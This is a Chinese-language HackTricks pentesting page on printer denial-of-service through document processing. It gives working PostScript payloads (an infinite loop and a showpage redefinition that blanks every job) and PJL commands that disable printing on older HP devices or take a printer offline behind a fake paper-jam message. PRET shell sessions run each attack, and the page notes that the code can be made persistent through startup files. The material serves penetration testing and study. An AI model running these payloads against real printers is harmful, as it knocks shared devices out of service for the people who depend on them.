hacktricks/network-services-pentesting/pentesting-printers/document-processing.md

4.7 KiB
Raw Blame History

从零到英雄学习AWS黑客技术通过 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式

页面描述语言允许无限循环或需要大量计算时间的计算。即使是像PCL这样的极简语言也可以用来上传永久宏或字体,直到可用内存被消耗完。

PostScript

无限循环

%!
{} loop

使用 PRET

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

重新定义 showpage

通过设置 showpage —— 每个文档实际打印页面时都会用到的命令 —— 为完全不执行任何操作PostScript 作业在处理时将不会打印任何内容。

true 0 startjob
/showpage {} def

使用 PRET

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality

两种攻击代码也可以写入Sys/Start、startup.ps或类似文件中以对具有可写磁盘的设备造成永久性DoS

PJL

PJL jobmedia

专有的PJL命令可用于将旧的HP设备如LaserJet 4k系列设置为服务模式并完全禁用所有打印功能如下所示

@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF

使用 PRET

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF

离线模式

此外PJL 标准定义了 OPMSG 命令,该命令“提示打印机显示指定消息并进入离线状态”\cite{hp1997pjl}。如下所示,这可以用来模拟纸张卡纸:

@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"

使用 PRET

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

了解更多关于这些攻击的信息 http://hacking-printers.net/wiki/index.php/Document_processing

从零开始学习 AWS 黑客攻击直到成为专家,通过 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式: